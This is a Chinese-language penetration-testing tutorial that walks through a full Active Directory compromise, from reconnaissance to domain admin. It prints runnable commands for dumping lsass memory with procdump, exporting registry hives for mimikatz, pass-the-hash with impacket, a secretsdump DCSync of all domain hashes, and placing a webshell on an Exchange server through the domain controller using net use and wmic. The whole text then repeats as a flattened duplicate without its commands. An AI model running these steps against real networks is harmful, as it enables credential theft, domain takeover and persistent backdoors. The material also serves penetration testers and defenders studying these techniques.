域渗透系列-一次较为常规的内网渗透
字数 1758 2025-08-06 23:10:24

域渗透实战教学:从初始访问到域控权限获取

0x01 前言

本教学文档基于一次真实的域渗透案例,详细记录了从初始访问到最终获取域管权限的全过程。案例中涉及了多种域渗透技术,包括信息搜集、凭据获取、横向移动、权限提升等关键环节,并特别关注了脱域机器和网络隔离等特殊情况的处理。

0x02 内网信息搜集

确认安全防护

  1. 杀毒软件检测

    • 检查以下目录确认是否存在杀毒软件:
      C:\progra ~1
      C:\progra ~2
      C:\programdata
      C:\Windows\System32\drivers
      %appdata%
      
    • 本案例中发现赛门铁克杀毒软件
  2. 权限确认

    whoami /all
    net user xxx
    net user xxx /domain
    
    • 确认当前账户为域账户(格式:domain\username)

定位域控制器

  1. 基础域信息搜集

    net config workstation
    nltest /domain_trusts
    ipconfig /all
    
  2. DNS解析

    • 通过ipconfig /all查看DNS地址(通常为域控地址)
    • 使用ping -a反解域名获取DC的FQDN
  3. GPP漏洞测试

    • 尝试利用组策略首选项(GPP)漏洞(本案例中测试失败)
  4. 域控确认

    • 确认域控IP为172.16.1.98
    • 确认域名为r.*
    • 当前主机在域内,用户为域用户
  5. 权限异常检查

    net localgroup administrators
    net group "domain admins" /domain
    
    • 发现当前用户在本地管理员组但无法查询域管组(Access Denied)

0x03 凭据获取

内存转储技术

  1. 使用procdump转储lsass进程

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 本地使用mimikatz解析

    • 下载lsass.dmp到本地
    • 使用mimikatz解析获取多个疑似域管账户的hash:
      *****u_adm
      ******adm
      

0x04 Hash传递攻击

  1. 代理设置

    • 使用regeorg建立正向代理连接(规避杀毒软件)
  2. PTH测试失败

    • 使用dsquery、adfind、wmiexec等工具均认证失败
    • 推测账户近期修改了密码
    • 尝试机器账户登录也失败
  3. 脱域可能性分析

    • net系列和域相关命令无法使用
    • 推测当前机器可能已脱域,域管密码未更新

0x05 使用本地Hash进行横向移动

获取本地管理员Hash

  1. 注册表导出

    reg save hklm\sam sam
    reg save hklm\system system
    reg save hklm\security security
    
    • security文件包含域缓存凭证
  2. 本地mimikatz解析

    • 获取本地管理员用户名和hash

横向移动实施

  1. 网络扫描

    • 寻找与当前机器存在网络连接的IP段
    • 发现内网主机172.16.69.26(机器B)
  2. PTH登录机器B

    • 使用本地管理员hash成功登录
  3. Impacket工具使用

    • 通过smb_client上传procdump.exe
    wmiexec.exe连接机器B执行:
    c:\programdata\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    • 下载dump文件到本地解析

0x06 搜集域信息

  1. 域命令执行

    • 在机器B上net user /domain等命令可正常执行
    • 成功获取域管权限
  2. LDAP信息导出

    • 使用dsquery.exe导出域信息:
      dsquery * -limit 0 > all.txt
      
    • 下载all.txt到本地
    • 获取域内机器、组、人员、邮箱等重要信息

0x07 获取域内所有用户Hash

  1. 使用secretsdump.py

    python secretsdump.py domain.com/user@dc.domain.com -just-dc
    
    • 导出所有域用户hash
  2. hash对比分析

    • 与边界机器A上抓取的hash对比
    • 确认机器A已脱域

0x08 权限维持

Exchange服务器后门部署

  1. Exchange服务器定位

    • 方法:
      • 响应头X-FESERVER字段
      • 触发NTLM认证获取FQDN
      • 查看"Exchange Servers"组
    • 本案例中Exchange服务器IP为172.16.1.115
  2. 网络隔离绕过

    • 通过域控作为跳板访问Exchange
    • 执行流程:
      机器B → 域控 → Exchange
      
  3. 文件传输技术

    • 在机器B上执行:
      net use \\dc /user:xxx "xxx"
      move webshell.aspx \\dc\c$\webshell.aspx
      
    • 通过wmic远程执行命令(注意凭据传递问题):
      wmic /node:dc /user:xxx /password:xxx process call create "cmd /c move c:\webshell.aspx \\exchange\c$\inetpub\wwwroot\1.aspx"
      
    • 使用bat脚本解决凭据传递问题:
      net use \\exchange /user:dm "XXX"
      dir \\exchange\c$\inetpub\wwwroot
      move c:\webshell.aspx \\exchange\c$\inetpub\wwwroot\1.aspx
      
    • 通过wmic执行bat:
      wmic /node:dc /user:xxx /password:xxx process call create "cmd /c c:\programdata\1.bat > c:\programdata\1.txt 2>&1"
      
  4. 后门部署

    • 在Exchange服务器上部署webshell
    • 作为备用网络通道(考虑Windows ATP防护)

关键知识点总结

  1. 信息搜集要点

    • 杀软检测
    • 权限确认
    • 域环境确认
    • 网络拓扑分析
  2. 凭据获取技术

    • 内存转储(procdump)
    • 注册表导出
    • mimikatz解析
  3. 横向移动技术

    • Pass-the-Hash
    • Impacket工具套件
    • 代理通道使用
  4. 权限提升技术

    • 域管hash获取
    • DCSync攻击
    • secretsdump使用
  5. 权限维持技术

    • Exchange服务器利用
    • 网络隔离绕过
    • 多跳攻击技术
  6. 特殊情况处理

    • 脱域机器识别与利用
    • 凭据传递失败处理
    • 高防护环境下的操作技巧

本案例展示了完整的域渗透流程,特别强调了在遇到障碍时的解决思路,包括脱域机器的识别、网络隔离的绕过等实际问题,具有很高的实战参考价值。

域渗透实战教学:从初始访问到域控权限获取 0x01 前言 本教学文档基于一次真实的域渗透案例,详细记录了从初始访问到最终获取域管权限的全过程。案例中涉及了多种域渗透技术,包括信息搜集、凭据获取、横向移动、权限提升等关键环节,并特别关注了脱域机器和网络隔离等特殊情况的处理。 0x02 内网信息搜集 确认安全防护 杀毒软件检测 : 检查以下目录确认是否存在杀毒软件: 本案例中发现赛门铁克杀毒软件 权限确认 : 确认当前账户为域账户(格式:domain\username) 定位域控制器 基础域信息搜集 : DNS解析 : 通过 ipconfig /all 查看DNS地址(通常为域控地址) 使用 ping -a 反解域名获取DC的FQDN GPP漏洞测试 : 尝试利用组策略首选项(GPP)漏洞(本案例中测试失败) 域控确认 : 确认域控IP为172.16.1.98 确认域名为 r. * 当前主机在域内,用户为域用户 权限异常检查 : 发现当前用户在本地管理员组但无法查询域管组(Access Denied) 0x03 凭据获取 内存转储技术 使用procdump转储lsass进程 : 本地使用mimikatz解析 : 下载lsass.dmp到本地 使用mimikatz解析获取多个疑似域管账户的hash: 0x04 Hash传递攻击 代理设置 : 使用regeorg建立正向代理连接(规避杀毒软件) PTH测试失败 : 使用dsquery、adfind、wmiexec等工具均认证失败 推测账户近期修改了密码 尝试机器账户登录也失败 脱域可能性分析 : net系列和域相关命令无法使用 推测当前机器可能已脱域,域管密码未更新 0x05 使用本地Hash进行横向移动 获取本地管理员Hash 注册表导出 : security文件包含域缓存凭证 本地mimikatz解析 : 获取本地管理员用户名和hash 横向移动实施 网络扫描 : 寻找与当前机器存在网络连接的IP段 发现内网主机172.16.69.26(机器B) PTH登录机器B : 使用本地管理员hash成功登录 Impacket工具使用 : 通过smb_ client上传procdump.exe 下载dump文件到本地解析 0x06 搜集域信息 域命令执行 : 在机器B上 net user /domain 等命令可正常执行 成功获取域管权限 LDAP信息导出 : 使用dsquery.exe导出域信息: 下载all.txt到本地 获取域内机器、组、人员、邮箱等重要信息 0x07 获取域内所有用户Hash 使用secretsdump.py : 导出所有域用户hash hash对比分析 : 与边界机器A上抓取的hash对比 确认机器A已脱域 0x08 权限维持 Exchange服务器后门部署 Exchange服务器定位 : 方法: 响应头X-FESERVER字段 触发NTLM认证获取FQDN 查看"Exchange Servers"组 本案例中Exchange服务器IP为172.16.1.115 网络隔离绕过 : 通过域控作为跳板访问Exchange 执行流程: 文件传输技术 : 在机器B上执行: 通过wmic远程执行命令(注意凭据传递问题): 使用bat脚本解决凭据传递问题: 通过wmic执行bat: 后门部署 : 在Exchange服务器上部署webshell 作为备用网络通道(考虑Windows ATP防护) 关键知识点总结 信息搜集要点 : 杀软检测 权限确认 域环境确认 网络拓扑分析 凭据获取技术 : 内存转储(procdump) 注册表导出 mimikatz解析 横向移动技术 : Pass-the-Hash Impacket工具套件 代理通道使用 权限提升技术 : 域管hash获取 DCSync攻击 secretsdump使用 权限维持技术 : Exchange服务器利用 网络隔离绕过 多跳攻击技术 特殊情况处理 : 脱域机器识别与利用 凭据传递失败处理 高防护环境下的操作技巧 本案例展示了完整的域渗透流程,特别强调了在遇到障碍时的解决思路,包括脱域机器的识别、网络隔离的绕过等实际问题,具有很高的实战参考价值。